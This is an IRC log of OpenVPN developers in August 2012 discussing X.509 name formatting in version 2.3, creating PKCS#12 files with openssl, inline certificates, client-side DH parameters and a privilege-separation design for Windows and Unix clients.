com.apple.networking.vpn.configuration site:http://opensource.apple.com/source - Google Search (at www.google.com) 07:13 < plaisthos> krzee: the main problem is Apple's that apps must not use private APIs 07:13 < plaisthos> unless you are Cisco as it seems 08:02 <@vpnHelper> RSS Update - wishlist: iroute as global directive with certificate CN <http://forums.openvpn.net/topic11139.html> 10:58 -!- raidz_afk is now known as raidz 14:16 -!- dazo is now known as dazo_afk 14:31 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Excess Flood] 15:06 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 21:36 -!- raidz is now known as raidz_afk 21:49 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 22:02 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:02 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Tue Aug 21 2012 03:26 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 260 seconds] 03:30 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 03:30 -!- dazo_afk is now known as dazo 03:36 -!- raidz_afk [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 246 seconds] 06:14 * cron2 pokes dazo 06:14 * dazo looks up 06:15 <@cron2> there's a make-ecrist-happy patch in the queue, and a couple of make-d12fk-happy and others :) 06:16 <@dazo> Yeah, I know ... I just haven't had time ... final week of testing at work for me, so I'm .... swamped .... :) 06:17 <@cron2> stupid day jobs :) 06:17 <@dazo> yeah :) 08:14 <@mattock> I've managed to have a fairly proper vacation, fortunately... no day-jobs stopping me from doing interesting things 08:27 <@ecrist> :D 08:31 <@cron2> ah, mattock alive again 08:31 <@cron2> mattock: did you see my question about openvpn tech and iOpenVPN yesterday? 08:48 <@mattock> nope, here? 09:45 < plaisthos> 12:28:13 <@cron2> mattock: do you know whether OpenVPN tech is working on an iPhone OpenVPN client as well? 09:45 < plaisthos> 12:28:43 <@cron2> one of my customers urgently needs to get rid of their PPTP-based iVPN and I don't want to buy a Cisco or Juniper SSL-VPN-Device 09:51 <@ecrist> cron2, see pm 11:09 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Excess Flood] 11:19 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 11:28 < plaisthos> I have a bug report report about tls-remote behaviour http://code.google.com/p/ics-openvpn/issues/detail?id=72 11:28 <@vpnHelper> Title: Issue 72 - ics-openvpn - Slashes in X509NAME are replaced with commas - Openvpn for Android 4.0+ - Google Project Hosting (at code.google.com) 11:28 < plaisthos> Has something change on the formatting of X509 names? 11:29 < plaisthos> d12fk: does your compat-names patch affect this? 11:29 <@dazo> plaisthos: yes, that's the patch for that 11:30 <@dazo> plaisthos: to get proper UTF-8 handling of X.509 fields, d12fk switched to the "correct" OpenSSL API ... which changed the formatting 11:30 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 11:30 -!- mode/#openvpn-devel [+o raidz] by ChanServ 11:30 <@dazo> the compat-names patch gives a switch to flip back to the old method 11:30 <@dazo> (but that is more useful on the server side, where you have plug-ins and/or scripts which might depend on a certain formatting) 11:32 < plaisthos> dazo: yeah 11:33 <@d12fk> with --verb 3 openvpn tell you what it expects, this way it's easy to update the --tls-remote 11:33 < plaisthos> yes the bug report includes 11:33 < plaisthos> P:VERIFY X509NAME ERROR: C=c, L=l, O=o, CN=cn, emailAddress=a@b.com, must be /C=c/L=l/O=o/CN=cn/emailAddress=a@b.com 11:34 <@d12fk> ust copy&paste 11:34 < plaisthos> :) 11:34 < plaisthos> I just pointed as answer to the issue to your patched and that 2.3 changed the X509 name behaviour 11:35 <@d12fk> how about a patch the changes / to , ? 11:36 <@d12fk> would make most customers happy i suppose 11:36 < plaisthos> are the , part of the string you get from openssl? 11:36 <@d12fk> at least the ones with acssi only subject DNs 11:36 <@d12fk> yes 11:37 < plaisthos> then don't change it 11:37 <@d12fk> no, thinking of converting the tls-remote stirng 11:37 < plaisthos> ah 11:37 <@d12fk> just in case where --compat-names is not used 11:38 < plaisthos> and then it brekas if somebody was crazy enough to add an / to CN,DN or whatever :) 11:38 <@d12fk> then the comlaining would stop 11:38 < plaisthos> I think most people don't use the whole cn in remote-tls anyway 11:38 < plaisthos> just tls-remote user@domain or tls-remote openvpn.blinkt.de or something like that 11:41 <@d12fk> i'll update the patch tomorrow 11:41 <@d12fk> like the idea 11:42 <@d12fk> hm maybe it should be a separate one, s.th. we might not want to revert 11:42 <@dazo> agreed 11:42 < plaisthos> maybe openvpn should add a config-version token 11:42 <@d12fk> soon... 11:43 < plaisthos> so different default can be set depending on the config-version string 11:43 < plaisthos> and if it is missing assume pre 2.3 or something 11:43 <@dazo> plaisthos: nah! Just a single error message .... "Your config is too old, please update it!" 11:43 < plaisthos> dazo: :) 11:44 <@d12fk> usually it's just options being dropped, in that case we don't want support anyways 11:44 < plaisthos> instead of using compat-xx, compat-xy, compat-yzx, --this-option-should-be-default-on-but-for-comptability-we-can't-do-it 11:45 < plaisthos> anyway, I will continue to let the android user alphatest 2.3 :D 11:45 <@dazo> The idea sounds good enough, but I'm terrified of the complexity that would end up with in reality inside options.c .... this iterating parser has some odd corners we probably don't want to fall into 11:47 < plaisthos> With the current parser you have to force the config-version to be the first option in the config file 11:47 < plaisthos> otherwise it will burn in hell :) 11:49 < plaisthos> openssl s_client uses / instead of , for the delimiter of the fields ... 11:50 < plaisthos> openssl x509 uses again , 11:50 <@dazo> plaisthos: but the API which uses / is deprecated by OpenSSL, iirc ... s_client probably isn't updated 11:50 <@dazo> and this mess is a good reason why polarssl exists :) 11:55 < plaisthos> :) 11:57 <+krzee> know how their blowfish is coming, speaking of polarssl? 12:07 <@dazo> krzee: it's committed to their SVN ... but I've not had time to test it properly for for them ... there are some quirks needed to support it in openvpn too 12:50 <@cron2> d12fk: you could send an ack for the IPv6 --version patch, after all you asked for it :-) 12:55 <+krzee> awesome!' 12:55 <+krzee> thats a lot of progress since i last heard 13:29 -!- dazo is now known as dazo_afk 14:58 -!- krzee [nobody@openvpn/community/support/krzee] has left #openvpn-devel ["Leaving"] 15:07 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 15:07 -!- mode/#openvpn-devel [+o andj] by ChanServ 15:44 -!- plaisthos [~arne@kamera.blinkt.de] has quit [Read error: Operation timed out] 15:49 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:49 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:50 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 15:51 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:51 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:25 -!- raidz is now known as raidz_afk --- Day changed Wed Aug 22 2012 00:50 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 246 seconds] 00:51 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 00:51 -!- mode/#openvpn-devel [+o dazo] by ChanServ 01:32 <@vpnHelper> RSS Update - wishlist: SCTP support in OpenVPN <http://forums.openvpn.net/topic11145.html> 01:50 <@d12fk> next fosdem we talk the polar guy into implementing GOST =) 01:51 <@d12fk> and then EC crypto 02:17 <@d12fk> cron2: i'm not sure if mentioning IPv6 is needed at all, as it cannot be disabled. that why I hesitate. 02:31 <@cron2> d12fk: I want to avoid questions of the sort "why is there no mention of IPv6? I thought it was included in 2.3?" 02:34 <@cron2> d12fk: but feel free to send your thoughts to the list - I'm not insisting on that, it's just "make it clear that IPv6 is still there, but taking up much less space" 02:37 <@d12fk> yes, that's the other side, but then we'd probably have to keep it foreva 02:39 <@cron2> I think dropping it in 2.4 should be fine - people won't expect it to mean "it has gone away" but "it is nothing remarkable anymore"... but if you're all against it, just remove it completely 02:44 <@d12fk> cron2: I don't have any strong feelings one way or the other =) 02:44 <@d12fk> is there anyone who knows what's right [tm] in here? 02:46 <@cron2> I'd take dazo's judgement - and the final authority is James :-) 02:52 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn-devel 02:52 < plaisthos> *facepalm* http://code.google.com/p/ics-openvpn/issues/detail?id=72 02:52 <@vpnHelper> Title: Issue 72 - ics-openvpn - Slashes in X509NAME are replaced with commas - Openvpn for Android 4.0+ - Google Project Hosting (at code.google.com) 02:52 <@cron2> only 72 bugs so far? 02:54 < plaisthos> cron2: only 72 reported :D 03:08 -!- plaisthos [~arne@kamera.blinkt.de] has quit [Quit: Reconnecting] 03:10 -!- plaisthos [~arne@kamera.blinkt.de] has joined #openvpn-devel 03:12 < plaisthos> Instead of using the new 2.3 syntax the bug submitter ask me if it would be possible to include 2.2 :/ 03:12 <@d12fk> plaisthos: don't use --compat-names, it would break intl. users' utf-8 certs 03:13 <@d12fk> at don't enable it ba default 03:14 <@d12fk> plaisthos: re openssl x509, there's a -nameopt option to format the x509 names nicly 03:14 <@d12fk> the ossl guys are just backwards compat friednlier than the ovpn guys =) 03:15 * d12fk wonders if all complainers are ASG customers, or is tls-remote use that widespread? 03:27 < plaisthos> my app encourages user to use tls-remote host.fqdn 03:32 < plaisthos> d12fk: my bug reporter cannot change the tls-remote for whatever reason :/ 03:33 < plaisthos> Maybe the concept of an EditText is not known to him 03:33 <@d12fk> how does it encourage users to use tls-remote? 03:35 < plaisthos> Let me give you a screenshot 03:38 < plaisthos> http://plai.de/android/Screenshot_2012-08-22-10-36-54.png 03:38 < plaisthos> There are two options under Authentication 03:38 < plaisthos> one that is default on and is remote-cert-tls server 03:39 < plaisthos> and the second is remote-tls 03:39 < plaisthos> and if no cn is manually entered it defaults to the servername 03:51 <@d12fk> so, you don't use the subject DN here? 03:51 <@d12fk> then there would be no problem 03:54 < plaisthos> yes 03:54 <@d12fk> so, the reported tls-remote string come from an imported config 03:56 < plaisthos> yes 05:07 <@cron2> *sigh* 05:07 <@cron2> configure: error: libpam required but missing 05:08 <@cron2> what is so hard about "if libpam can not be found, do not compile plugin-pam-auth, but do not stop configure"? 07:09 <@cron2> so how does this pkcs12 stuff work??? 07:14 <@dazo> it's client cert + key + ca cert in a single file, often encrypted with a password 07:15 <@cron2> yeah, and that's what I want to achieve, but I can't seem to find the right openssl incantation to create one... 07:16 <@cron2> (distributing openvpn configs to users, trying to reduce the amount of files they need to copy to the right place) 07:16 <@dazo> openssl pkcs12 -out output.p12 -cerfile client.crt -inkey client.key -CAfile ca.crt 07:16 <@dazo> iirc 07:16 <@cron2> ah, -certfile 07:17 <@dazo> and if you add -des, -des3, -aes* ... or something like that, it controls the encryption ... for no encryption, -nodes 07:17 * cron2 tried -in client.crt, and that "did something" but didn't create a working p12 file 07:17 <@dazo> yeah, that behaviour is undocumented :-P 07:18 <@cron2> mmmh, now it's pretending to do something and not returning...?!? 07:19 <@dazo> uhm ... sounds like it expects something from stdin 07:19 <@cron2> ctrl-d doesn't help 07:19 * dazo tries 07:26 <@dazo> cron2: sorry, it's -in client.crt instead of -certfile 07:26 <@dazo> but I can't see the CA file being accepted :/ 07:27 <@dazo> and you also need -export, I think 07:27 <@cron2> that's what I had, and it didn't work... 07:28 <@cron2> hrm 07:28 <@dazo> hmm ... there's a -chain too, which might be needed 07:28 <@cron2> Error unable to get local issuer certificate getting chain. 07:28 <@cron2> aha 07:29 <@cron2> ah 07:29 <@cron2> it's just plain stupid 07:29 <@cron2> I misspelled the name of the CA file, and it just ignored that 07:29 <@dazo> heh ... cool! it hopefully works now then :) 07:30 <@cron2> with -chain, it actually complained... let's see... 07:30 <@cron2> openssl pkcs12 -export -out client-gd.p12 -in client-gd.crt -inkey client-gd.key -CAfile ca.crt -nodes -chain 07:30 <@dazo> openssl pkcs12 -in pkcs12-file -nodes ... should give you everything, I believe 07:30 <@cron2> this is what did it 07:31 * dazo finds a non-expired client cert to play with :/ 07:32 <@dazo> openssl pkcs12 -export -chain -in client.crt -inkey client.key -CAfile ca.crt -out test.p12 07:32 <@dazo> that worked for me 07:33 <@dazo> (Using openvpn sample-keys files) 07:33 <@cron2> same thing :-) - and it works for me, too. thanks, "-chain" was the bit that was missing (so the client couldn't verify the server key) 07:33 <@dazo> ahh :) 07:33 <@dazo> nice! 07:48 <@cron2> plaisthos: what's the most painless way to get configs into Android OpenVPN? send a .ovpn + .p12 file by mail, save that from mail app? 07:50 <@dazo> cron2: inline certs/key in config file? 07:56 <@cron2> dazo: but how to get them onto the device? mail, dropbox, https? 07:56 * cron2 is an android noob 07:56 <@cron2> "mail" has a funny smell, as has "dropbox" :-) 07:57 <@dazo> https with a specific mime-type smells like a good idea :) 08:07 <@cron2> so how do I embed the p12 file??? this is all voodoo! 08:09 <@dazo> cron2: you don't embedd the p12 file ... but the separate files .... so you do in the config: cert [inline] ca [inline] and key [inline] ... and then you add the contents of the files inside <ca>....</ca>, <key>....</key>, <cert>....</cert> 08:09 <@dazo> (maybe you can inline the p12 file, but I've never tried that ... but somehow, I doubt it) 08:09 <@dazo> p12 is binary ... the other files are PEM, which is plain text files 08:10 < plaisthos> cron2: both ways work 08:11 <@cron2> ah, <ca></ca> is the magic thing 08:11 <@cron2> fun 08:11 < plaisthos> cron2: p12 files can be imported into the android keystore (which could theorectically even be a hardware crypto chip), inline files will be keep inline and are saved in clear on the internal memory 08:11 <@vpnHelper> RSS Update - wishlist: Config dependency using subdirectories. <http://forums.openvpn.net/topic10883.html> 08:12 <@cron2> plaisthos: so the best thing would be to put .p12 and .ovpn on a https webserver, and get them via android browser - or use imaps/pop3s from a trusted mail server? 08:16 < plaisthos> dazo: you don't need the ca [inline] line that is a noop 08:17 <@dazo> plaisthos: oh, I thought you did ... you at least need it for inlining --tls-auth ... but that one got an additional direction parameter too 08:18 < plaisthos> dazo: tls-auth [inline] dir 08:18 < plaisthos> or direction dir 08:18 < plaisthos> cron2: both things should work 08:18 <@dazo> yeah 08:19 < plaisthos> dazo: inlining p12 should theorectically work but utf-8 conversion breaks it in my app 08:20 <@dazo> well, you could base64 encode the p12 file 08:20 < plaisthos> the android app will open when you click on a .ovpn file 08:21 < plaisthos> dazo: you can try the app in an android emulator 08:22 * dazo need to try that :) 08:22 <@cron2> I think I'll go for ".ovpn with embedded ca/key/crt, put on https server" (because I don't trust where these folks are forwarding their e-mails...) 08:22 < plaisthos> hehe 08:22 * dazo is also planning to get his wife an ICS device too :) 08:27 < plaisthos> cron2: :) 08:35 < plaisthos> dazo: base64 encoding? 08:35 <@dazo> plaisthos: the p12 file 08:35 <@dazo> for inline 08:36 < plaisthos> dazo: Is there yet another well hidden feature of openvpn I never heard of? 08:37 <@dazo> plaisthos: nope ... I meant to support inline of p12, to avoid charset issues, it would be needed to base64 encode the data when inlining it 08:39 < plaisthos> dazo: ah okay 08:39 * cron2 learns something new every day :-) 08:45 < plaisthos> I just looked into the source code ... 08:45 < plaisthos> pkcs12 [[inline]] (base64-encode pkcs12) should work 08:46 < plaisthos> .oO(but this seem to be documented nowhere) 08:49 < plaisthos> and option [[inline]] foo and <option>\nfoo\n</option> are the same 08:52 < plaisthos> I will change my parser to work with inlined p12 files 08:59 < plaisthos> The manpage should be updatet to mention inline file support at all 09:54 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 10:06 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:06 -!- mode/#openvpn-devel [+o mattock] by ChanServ 10:46 <@cron2> plaisthos: true. I *was* reading the manpage before asking :-) 11:12 -!- raidz_afk is now known as raidz 12:01 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 12:13 -!- dazo is now known as dazo_afk 12:38 -!- Netsplit *.net <-> *.split quits: @raidz, @d12fk, ender|, @vpnHelper, EvilJStoker 12:38 -!- Netsplit over, joins: @d12fk 12:39 -!- Netsplit over, joins: @vpnHelper 13:20 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 15:00 -!- ender| [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Quit: Cigarettes are like squirrels. They're perfectly harmless until you put one in your mouth and light it on fire.] 15:52 < plaisthos> d12fk: from my bug report: I found out that the --compat-names command is just for openvpn server, 16:48 < plaisthos> (I have not checked) --- Day changed Thu Aug 23 2012 01:29 -!- dazo_afk is now known as dazo 03:06 < plaisthos> *sigh* My user keep finding error. Seems as if dh xxx is only used for P2MP_SERVER but compiling with CLIENT_ONLY does not disable the feature 03:07 <@cron2> what do you mean by "disable the feature"? 03:14 < plaisthos> cron2: as in #ifdef P2MP_SERVER 03:15 <@cron2> yeah, but what's there to disable? "make --dh no longer a valid option"? 03:15 <@cron2> (the underlying question is "why would a user try --dh and then complain that it does *not* cause an error"...) 03:16 < plaisthos> cron2: 2.3 checks for existence of files, 2.2 did not iirc 03:17 < plaisthos> if you have a --dh somethingstupid.pem in your client config file ti worked in 2.2 but does not work in 2.3 03:17 < plaisthos> I got a bug report about this: http://code.google.com/p/ics-openvpn/issues/detail?id=74 03:17 <@vpnHelper> Title: Issue 74 - ics-openvpn - Webmin exported keys and P:Options error: --dh fails with 'dh2048.pem': No such file or directory - Openvpn for Android 4.0+ - Google Project Hosting (at code.google.com) 03:17 <@cron2> ah, now I see the problem, thanks :-) 03:24 < plaisthos> But I don't know what to do about it :) 03:25 <@cron2> send a patch that disables --dh #ifndef P2MP_SERVER - and *then* have thousands of bug reports come in for configs that have "dh foo" in them and no longer work :-) 03:25 <@cron2> or just #ifdef the file check for dh 03:25 <@cron2> or accept the option, and just not do anything if set, making it a no-op... 03:46 < plaisthos> cron2: I don't really think that there many version of openvpn out there that use CLIENT_ONLY 03:48 <@dazo> I think that's mostly in embedded devices with factory installed openvpn ... which generally means hardware makers 04:11 < plaisthos> I have the luxury of simple ignoriring the dh option in my importer :) 04:11 <@dazo> :) 04:14 < plaisthos> there seem to be more people how include the dh line into their config: http://support.vpnsecure.me/entries/21505966-openvpn-setup-on-android-ics 04:14 <@vpnHelper> Title: OpenVPN setup on Android ICS : VPNSecure.me (at support.vpnsecure.me) 05:39 <@d12fk> huh? why does --dh not make sense on the client? thought both TLS peers exchange their DH params during handshake? seems I don't understand this option good enough 05:40 <@dazo> Good question ... I've been thinking the same too, however, I think loading DH params have only been implemented on the server side of the code 05:41 <@d12fk> does the client always propose a cipher suite with DH and use the servers params then? 05:41 * d12fk needs a good TLS book 05:41 <@dazo> Except that gmane got some issues ... I believe this thread covers it :) http://thread.gmane.org/gmane.comp.encryption.openssl.user/35869 05:41 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 05:43 <@d12fk> very bad teasing there =) 05:44 <@dazo> hehe :) 05:44 <@d12fk> i hope ovpn doesnt do anon DH 05:44 <@dazo> http://www.mail-archive.com/openssl-users@openssl.org/msg58515.html ... this seems to work :) 05:44 <@vpnHelper> Title: Anonymous DH client (at www.mail-archive.com) 05:44 <@dazo> " 05:44 <@dazo> The DH parameters are supplied by the server and sent to the client during the 05:44 <@dazo> handshake so the client doesn't need any DH parameters." 05:45 <@d12fk> yes, i think that must also applies the auth'ed DH 05:45 <@dazo> Yeah, I think so to 05:48 <@d12fk> still no reason for the client not to support it's own set of params. iirc the server has to check them then however. maybe the decision not to support client DH params was based on this, taking load off the server. 05:57 <@dazo> iirc, the dhparam is the prime number ... and doesn't that needs to be the same on both sides to make DH key exchange work? 06:01 * d12fk looks up DH again 06:01 <@d12fk> yes, you're right 06:02 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: Leaving] 06:02 <@d12fk> the params are g and p, but g is almost always 2, so p makes the difference 06:11 <@d12fk> plaisthos: so, with all that i feel confident that a client having a --dh in it's config is misconfigured and should complain 06:17 <@d12fk> but it should also complain when it has server capabilities compiled in 06:31 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 260 seconds] 06:34 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 06:34 -!- mode/#openvpn-devel [+o andj] by ChanServ 11:04 -!- raidz_afk [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 11:04 -!- raidz_afk is now known as raidz 11:04 -!- mode/#openvpn-devel [+o raidz_afk] by ChanServ 12:03 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 12:03 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:36 <@cron2> I've been told you folks have experience with this OpenVPN thing... 12:37 <@cron2> if I run a script from openvpn (--learn-address), and that script produces output (stdout/stderr). Where will that output go, if openvpn runs as --daemon and logs to syslog? 12:42 <@dazo> cron2: I'm not quite sure what happens with scripts ... I don't think they are logged anywhere 12:55 <@ecrist> they're not logged anywhere at this point. 12:55 <@ecrist> afaik 13:01 -!- dazo is now known as dazo_afk 14:38 <@cron2> oh, interesting 14:39 <@cron2> my corp VPN ca bundle does not load in polarssl-openvpn 14:45 <+krzee> stderror logs to the logfile 14:46 <+krzee> which is why my scripts generally redirect stdout to stderr 14:47 <@cron2> ok, good to know 14:56 <@cron2> is andj still hiding? 15:15 <+krzee> cron2, sorry i had it backwards 15:15 <+krzee> exec 2>&1 15:15 < plaisthos> d12fk: I checked the source, the dh file is only read in client mode. I have time this weekend, I will build a patch for it 16:03 < plaisthos> I think that tls-auth [[inline]] 1 works is more a bug than feature from reading the source 16:04 < plaisthos> tls-auth bambooooo 1 would work as well :) 16:22 < plaisthos> I sent a patch for documenting the inline file support to the mailing list 19:20 -!- raidz is now known as raidz_afk --- Day changed Fri Aug 24 2012 01:47 <@cron2> d12fk: windows and cryptoapi. What can I do with that? And how does it work? 01:48 <@cron2> I'm toying with the idea of giving my users .p12 files with password set (so if the .p12 file is stolen, it's not useful "as is"), and have them import it "to wherever magic", and only give the password once on import - so they do not need to enter the key password every time they run OpenVPN. Is that possible? 01:55 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 244 seconds] 02:30 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 02:30 -!- mode/#openvpn-devel [+o andj] by ChanServ 02:35 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 276 seconds] 02:42 <@d12fk> cron2: i don't know much about the key store in crypto api to be honest 02:43 <@d12fk> I'll check the code 03:38 -!- dazo_afk is now known as dazo 03:50 <@d12fk> cron2: you can use an imported user cert and key, the CA cert is not fetched from the store and must be configured the tranditional way 03:51 <@d12fk> the key never leaves the cert store, you just get a handle that you use for crypto 03:53 <@d12fk> so if it's secure enough that any application running as the user (maybe also in the same session, don't know) could use the private key for crypto it's good to use 03:53 <@cron2> d12fk: that's pretty cool. So what's the format for importing key+cert? put both in a .p12 and klick on it? 03:53 <@d12fk> yes 03:53 <@cron2> having the CA cert int the .ovpn is not a major issue, it's public anyway 03:54 * cron2 is impressed and goes testing :-) 03:54 <@d12fk> yes, might ne a bit harder to deploy though 03:55 <@cron2> I do not like "here's your key material!" e-mails being forwarded to who-knows-where, downloaded via web-gui from web.de, etc... 03:55 <@d12fk> and maybe it cannot open the users cert store because ovpn is running as admin (recall the route issue with vista+) 03:55 <@cron2> oh 03:55 <@cron2> *that* would be a problem 03:55 <@d12fk> but you can import into the computers cert staore 03:55 <@cron2> what did you say when the windows privsep thingie would be ready? :-) 03:56 <@d12fk> when everybody accepts to ignore alon =) 03:57 <@d12fk> the computers cert store is of course open to anyone who can log in 03:58 <@d12fk> the code could be extended to also fetch the ca cert(s) from a store 03:59 <@d12fk> this crypto api thing is actually just a little more secure as saving the key to disk without a passphrase and granting access to the user only 04:00 <@d12fk> of course the user could email it to whereever, but if you don't trust the user don't let him connect to your network anyway 04:01 <@cron2> my users are not able to save a .p12 file "without passphrase" anywhere, so having a .p12 that needs a passphrase on import, and is never available to be mailed around unprotected would be a plus 04:01 <@d12fk> cron2: and of course the cryptoapi code could be broken as it's from 2004 and APIs break between windows versions 04:02 <@cron2> I'll test and report... :) 04:02 <@d12fk> afaik there are no p12 without passphrase 04:02 <@d12fk> the interactive service is broken in windows 8 =( 04:09 <@cron2> you can do .p12 with -nodes and empty passphrase, then at least OpenVPN won't ask for it and "just use 'em" 04:15 <@d12fk> ah probably missed the -nodes part 04:27 <@dazo> d12fk: regarding privsep thing ... You've done a really good job with that stuff, and I'd be happy to apply it ... but I would like that we can do a little re-evaluation, also based on *some* of the feedback you got in the last round ... just to ensure ourselves that the approach you got now is sane ... but let's not dig (stir) up that discussion now, lets rather "forget it" for a few more months (until 2.3 is really done) ... and look 04:27 <@dazo> at it with fresh eyes :) 04:28 <@dazo> and I would also like to re-ensure that we can have an implementation which can make privsep work easier on non-Windows platforms as well ... to have a generic approach for everyone ... that would be a big win :) 04:31 <@d12fk> windows and generic, pick one 04:31 <@dazo> :) 04:32 <@cron2> the support side inside OpenVPN ("do not try to do anything to routes and ifconfig, just pack messages and send somewhere") can be fairly generic 04:32 <@dazo> yeah, that's my thought as well 04:32 <@d12fk> but then, say network manager could e.g. start ovpn as the invoking user and provide a pipe end to openvpn 04:33 <@d12fk> in that case it would be pretty much the same 04:34 <@d12fk> it's currently called --service-pipe but we came up with a better name, which i forgot 04:35 <@d12fk> so, --priv-handle <some-number> should be generic enough 04:35 <@d12fk> the messages passed to/from the service are as well 04:35 <@cron2> d12fk: yeah, something along that line 04:35 <@dazo> Just seeding some thoughts now .... I'm thinking maybe OpenVPN should be split up into two pieces .... one piece which is the privileged part (which needs to be started first) - which can setup tun/tap devices and configure the network ... the other piece is the unprivileged part, which takes care of network connection (tcp/udp), encryption, authentication and pushing data between the tun/tap socket and the udp/tcp socket 04:36 <@d12fk> but i won't dicuss until the code is out, so we have something to discuss about 04:36 <@d12fk> dazo: you don't want a setuid root ovpn 04:36 <@dazo> not setuid 04:37 <@d12fk> hows it running as root then 04:37 <@dazo> for server side (f.ex. in *nix) start up ... the privileged part could execve() the unprivileged part 04:37 <@d12fk> server side it not the topic here 04:37 <@d12fk> all this is for the client 04:37 <@dazo> yeah, but I see that the server side can benefit from a more generic appraoch as well 04:38 <@dazo> but for the client side ... the privileged part should be a root running process which have a unix socket available for piping network configs and tun/tap setups 04:39 <@d12fk> on windows the dev can be user controlled 04:39 <@d12fk> and actually is 04:39 <@dazo> the privileged part could check if it is already running ... if not, it will start it, and then fork out the unpriv part ... which will be somewhat similar to how todays openvpn works (using sudo, or similar) 04:40 <@dazo> yeah, but that privilege we don't have in *nix :/ ... so that's the generic part again 04:41 <@d12fk> ok, but having the interactive service now doesn't interfere with these plans currently 04:41 <@dazo> and if the privileged part has been started first by a init.d script ... and the unpriv part starts by the user .... it would use the already running service 04:41 <@d12fk> so, I'd say we're good adding the one first and doing the rest later 04:41 <@dazo> fair point ... and the interactive service is one step ... but if we don't do some kind of re-evaluation first ... we'll be hammered again with flames 04:42 <@d12fk> you can move privileged operations one by one to support the --priv-handle 04:42 <@d12fk> right now i don't do ARP flushes, which still fail 04:43 <@d12fk> would be the next obvious thing 04:43 <@dazo> if that's doable with the codebase you got ... then we certainly should consider that 04:43 <@d12fk> sure 04:43 <@d12fk> but i'll get to it in month(s) earlyiest 04:43 <@d12fk> so, no worrie/hurry =) 04:43 <@dazo> but as I said ... I'm just seeding thoughts now :) .... and we should look more thoroughly after 2.3 is out :) 04:43 <@dazo> yeah :) 05:09 <@cron2> so maybe we should focus more on 2.3 now... :-) 05:21 <@dazo> :) 07:16 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 07:56 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 07:56 -!- mode/#openvpn-devel [+o andj] by ChanServ 09:13 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 248 seconds] 09:16 -!- andj [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 09:16 -!- mode/#openvpn-devel [+o andj] by ChanServ 11:07 -!- raidz_afk is now known as raidz 13:20 -!- dazo is now known as dazo_afk 17:05 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 17:05 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:15 -!- raidz is now known as raidz_afk --- Day changed Sat Aug 25 2012 07:40 <@cron2> plaisthos: what happens if an android device has an active OpenVPN, and is used for tethering PCs? Will the clients automagically use the VPN (with some sort of NAT to the tun IP)? 13:17 < plaisthos> cron2: it is broken 13:17 <@cron2> what happens? 13:17 < plaisthos> one moment 13:18 < plaisthos> http://code.google.com/p/ics-openvpn/issues/detail?id=34 13:18 <@vpnHelper> Title: Issue 34 - ics-openvpn - Wi-Fi hotspot enabled on host device with OpenVPN connected... connected client devices have no internet - Openvpn for Android 4.0+ - Google Project Hosting (at code.google.com) 13:18 < plaisthos> short answer tethering is broken 13:18 < plaisthos> long answer see the bug report :) 13:20 <@cron2> so iptables rules are getting in the way? 13:22 < plaisthos> nah 13:22 < plaisthos> no iptables rules are getting in the way 13:22 < plaisthos> the default route is over tun0 13:22 < plaisthos> but no NAT routes for wlan0 <-> tun0 13:22 <@cron2> ah 13:23 <@cron2> (I was asking because you added -A FORWARD -j ACCEPT rules and not just a -j MASQUERADE rule) 13:38 < plaisthos> oh okay 13:38 < plaisthos> I have never test that myself 13:38 < plaisthos> I got this from a mail --- Day changed Sun Aug 26 2012 07:30 <@cron2> so... p2p tests added to daily t_server tests... 07:30 <@cron2> p2p is weird :) 12:17 < plaisthos> :) 12:39 <+krzee> [08:42] <kisom> http://sourceforge.net/donate/index.php?group_id=48978 <- is this the correct link for making donations to the community version devs? 12:39 <@vpnHelper> Title: SourceForge.net: OpenVPN: Make A Donation (at sourceforge.net) 12:46 <+krzee> [10:45] <krzee> kisom, i have no idea who runs the sourceforge 12:46 <+krzee> [10:45] <krzee> all dev work i know of is at 12:46 <+krzee> [10:45] <krzee> !git 12:46 